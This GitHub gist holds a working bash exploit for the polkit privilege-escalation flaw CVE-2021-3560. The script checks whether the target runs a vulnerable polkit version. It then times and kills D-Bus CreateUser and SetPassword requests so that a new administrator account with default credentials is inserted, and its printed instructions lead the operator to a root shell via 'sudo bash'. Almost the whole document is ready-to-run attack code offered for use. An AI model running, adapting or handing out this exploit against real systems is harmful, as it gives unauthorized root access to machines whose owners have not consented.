Created
August 30, 2023 15:59
-
-
Save cstanze/173df170ff995abed618ecb3b82d538a to your computer and use it in GitHub Desktop.
polkit exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
$USR | |
$PASS | |
$TIME | |
$FORCE | |
RED='\033[0;31m' | |
GREEN='\033[0;32m' | |
BLUE='\033[0;34m' | |
NC='\033[0m' # No Color | |
# Argparse | |
function usage(){ | |
echo "CVE-2021-3560 Polkit v0.105-26 Linux Privilege Escalation PoC by SecNigma" | |
echo "" | |
echo "Original research by Kevin Backhouse" | |
echo "https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#vulnerability" | |
echo "" | |
echo "USAGE:" | |
echo "./poc.sh" | |
echo "Optional Arguments:" | |
echo -e "\t-h --help" | |
echo -e "\t-u=Enter custom username to insert (OPTIONAL)" | |
echo -e "\t-p=Enter custom password to insert (OPTIONAL)" | |
echo -e "\t-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)" | |
echo -e "\t-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)" | |
echo -e "\tFormat to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms " | |
echo -e "Note:" | |
echo -e "Equal to symbol (=) after specifying an option is mandatory." | |
echo -e "If you don't specify the options, then the script will automatically detect the possible time and" | |
echo -e "will try to insert a new user using that time." | |
echo -e "Default credentials are 'secnigma:secnigmaftw'" | |
echo -e "If the exploit ran successfully, then you can login using 'su - secnigma'" | |
echo -e "and you can spawn a bash shell as root using 'sudo bash'" | |
printf "${RED}IMPORTANT: THIS IS A TIMING BASED ATTACK. MULTIPLE TRIES ARE USUALLY REQUIRED!!${NC}\n" | |
echo -e "" | |
} | |
while [ "$1" != "" ]; do | |
PARAM=`echo $1 | awk -F= '{print $1}'` | |
VALUE=`echo $1 | awk -F= '{print $2}'` | |
case $PARAM in | |
-h | --help) | |
usage | |
exit | |
;; | |
-u) | |
USR=$VALUE | |
;; | |
-p) | |
PASS=$VALUE | |
;; | |
-t) | |
TIME=$VALUE | |
;; | |
-f) | |
FORCE=$VALUE | |
;; | |
*) | |
echo "ERROR: unknown parameter \"$PARAM\"" | |
usage | |
exit 1 | |
;; | |
esac | |
shift | |
done | |
if [[ $USR ]];then | |
username=$(echo $USR) | |
else | |
username="secnigma" | |
fi | |
printf "\n" | |
printf "${BLUE}[!]${NC} Username set as : "$username"\n" | |
if [[ $PASS ]];then | |
password=$(echo $PASS) | |
else | |
password="secnigmaftw" | |
fi | |
# printf "${BLUE}[!]${NC} Password set as: "$password"\n" | |
if [[ $TIME ]];then | |
printf "${BLUE}[!]${NC} Timing set to : "$TIME"\n" | |
else | |
printf "${BLUE}[!]${NC} No Custom Timing specified.\n" | |
printf "${BLUE}[!]${NC} Timing will be detected Automatically\n" | |
fi | |
if [[ $FORCE ]];then | |
printf "${BLUE}[!]${NC} Force flag '-f=y' specified.\n" | |
printf "${BLUE}[!]${NC} Vulnerability checking is DISABLED!\n" | |
else | |
printf "${BLUE}[!]${NC} Force flag not set.\n" | |
printf "${BLUE}[!]${NC} Vulnerability checking is ENABLED!\n" | |
fi | |
t="" | |
timing_int="" | |
uid="" | |
function check_dist(){ | |
dist=$(cat /etc/os-release|grep ^ID= | cut -d = -f2 |grep -i 'centos\|rhel\|fedora\|ubuntu\|debian') | |
echo $dist | |
} | |
function check_installed(){ | |
name1=$(echo $1) | |
d1=$(echo $2) | |
if [[ $(echo $d1 | grep -i 'debian\|ubuntu' ) ]]; then | |
out=$(dpkg -l | grep -i $name1|grep -i "query and manipulate user account information\|utilities to configure the GNOME desktop") | |
echo $out | |
else | |
if [[ $(echo $d1 | grep -i 'centos\|rhel\|fedora' ) ]]; then | |
out=$(rpm -qa | grep -i $name1|grep -i "gnome-control-center\|accountsservice") | |
echo $out | |
fi | |
fi | |
} | |
function check_polkit(){ | |
d=$(echo $1) | |
if [[ $(echo $d|grep -i 'debian\|ubuntu') ]]; then | |
out=$(dpkg -l | grep -i polkit|grep -i "0.105-26") | |
else | |
if [[ $(echo $d|grep -i 'centos\|rhel\|fedora') ]];then | |
out=$(rpm -qa | grep -i polkit|grep -i '0.11[3-9]') | |
fi | |
fi | |
echo $out | |
} | |
function float_to_int(){ | |
floating=$(echo $1) | |
temp_val=$(echo ${floating:2:$((${#floating}))}) # Remove point | |
echo "`expr $temp_val / 1`" | |
} | |
function inc_float(){ | |
floating=$(echo $1) | |
int_val=$(float_to_int $floating) | |
val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val + 1`'/g') | |
echo $val | |
} | |
function dec_float(){ | |
floating=$(echo $1) | |
int_val=$(float_to_int $floating) | |
val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val - 1`'/g') | |
echo $val | |
} | |
function fetch_timing(){ | |
exec 3>&1 4>&2 # Extra file descriptors to catch error | |
out=$( { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null 2>&4 1>&3; } 2>&1 ) | |
tmp=$(echo $out |grep -i "real"|awk -F '.' '{print $2}') | |
tmp_timing=$(echo ${tmp:0:$((${#tmp}-10))}) | |
exec 3>&- 4>&- # release the extra file descriptors | |
echo $tmp_timing | |
} | |
function calculate_timing(){ | |
tmp_timing=$(echo $1) | |
size_tmp_timing=(echo ${#tmp_timing}) | |
t=$(awk "BEGIN {print `echo $tmp_timing/2`}") | |
echo $t | |
exit | |
size_t=$(echo ${#t}) | |
if [[ "size_t" -gt "size_tmp_timing" ]] ; then | |
t=${t%?} | |
else | |
if [[ "size_t" -lt "size_tmp_timing" ]] ; then | |
t=$(awk "BEGIN {print `echo $tmp_timing/2`}") | |
fi | |
fi | |
echo $t | |
} | |
function insert_user(){ | |
# Time required to finish the whole dbus-send request | |
time_fetched=$(fetch_timing) | |
# Time to sleep | |
timing=$(calculate_timing `echo "0."$time_fetched`) | |
temp_count=$(inc_float `echo $timing`) | |
count=$(float_to_int $temp_count) | |
if [[ $TIME ]]; then | |
t="" | |
t=$(echo $TIME) | |
else | |
t="" | |
t=$(echo $timing) | |
fi | |
if [[ $(id `echo $username` 2>/dev/null) ]]; then | |
uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1) | |
echo $uid","$t | |
else | |
loop_count=20 | |
for i in $(seq 1 $loop_count|sort -r) | |
do | |
if [[ $(id `echo $username` 2>/dev/null) ]]; | |
then | |
uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1) | |
echo $uid","$t | |
else | |
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>/dev/null & sleep `echo $t`s 2>/dev/null; kill $! 2>/dev/null | |
fi | |
done | |
fi | |
} | |
function insert_pass(){ | |
ti=$(echo $1) | |
u_id=$(echo $2) | |
hash1=$(openssl passwd -5 `echo -n $password`) | |
temp_count=$(inc_float `echo $ti`) | |
count=$(float_to_int $temp_count) | |
time=$(echo $ti) | |
loop_count=20 | |
for i in $(seq 1 $loop_count|sort -r) | |
do | |
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye 2>/dev/null & sleep `echo $ti`s 2>/dev/null; kill $! 2>/dev/null | |
done | |
return 1 | |
} | |
function exploit(){ | |
printf "${BLUE}[!]${NC} Starting exploit...\n" | |
printf "${BLUE}[!]${NC} Inserting Username `echo $username`...\n" | |
ret=$(insert_user) | |
t=$(echo $ret|cut -d , -f2) | |
uid=$(echo $ret|cut -d , -f1) | |
if [[ $(id `echo $username` |grep -i `echo $username`) ]]; then | |
printf "${GREEN}[+]${NC} Inserted Username `echo $username` with UID `echo $uid`!\n" | |
printf "${BLUE}[!]${NC} Inserting password hash..." | |
echo $timing | |
ret=$(insert_pass $(echo $t) $(echo $uid)) | |
if [[ "$ret" -ne "1" ]]; then | |
printf "${BLUE}[!]${NC} It looks like the password insertion was succesful!\n" | |
printf "${BLUE}[!]${NC} Try to login as the injected user using su - `echo $username`\n" | |
printf "${BLUE}[!]${NC} When prompted for password, enter your password \n" | |
printf "${BLUE}[!]${NC} If the username is inserted, but the login fails; try running the exploit again.\n" | |
printf "${BLUE}[!]${NC} If the login was succesful,simply enter 'sudo bash' and drop into a root shell!\n" | |
else | |
printf "${BLUE}[!]${NC} It seems like the password injection FAILED!\n" | |
printf "${BLUE}[!]${NC} Aborting Execution!\n" | |
printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n" | |
printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n" | |
fi | |
else | |
printf "${RED}[x]${NC} Insertion of Username failed!\n" | |
printf "${BLUE}[!]${NC} Aborting Execution!\n" | |
printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n" | |
printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n" | |
fi | |
} | |
if [[ "$FORCE" == "y" ]]; then | |
exploit | |
else | |
printf "${BLUE}[!]${NC} Starting Vulnerability Checks...\n" | |
printf "${BLUE}[!]${NC} Checking distribution...\n" | |
dist=$(check_dist) | |
printf "${BLUE}[!]${NC} Detected Linux distribution as `echo $dist`\n" | |
printf "${BLUE}[!]${NC} Checking if Accountsservice and Gnome-Control-Center is installed\n" | |
ac_service=$(check_installed $(echo "accountsservice") $dist) | |
gc_center=$(check_installed $(echo "gnome-control-center") $dist) | |
if [[ $ac_service && $gc_center ]] | |
then | |
printf "${GREEN}[+]${NC} Accounts service and Gnome-Control-Center Installation Found!!\n" | |
printf "${BLUE}[!]${NC} Checking if polkit version is vulnerable\n" | |
polkit=$(check_polkit $(echo $dist)) | |
if [[ $polkit ]] | |
then | |
printf "${GREEN}[+]${NC} Polkit version appears to be vulnerable!!\n" | |
exploit | |
else | |
printf "${RED}[x]${NC} ERROR: Polkit version does not appears to be vulnerable!!\n" | |
printf "${BLUE}[!]${NC} Aborting Execution!" | |
printf "${BLUE}[!]${NC} You might want to use the '-f=y' flag to force exploit\n" | |
fi | |
else | |
printf "${RED}[x]${NC} ERROR: Accounts service and Gnome-Control-Center NOT found!!\n" | |
printf "${BLUE}[!]${NC} Aborting Execution!\n" | |
fi | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment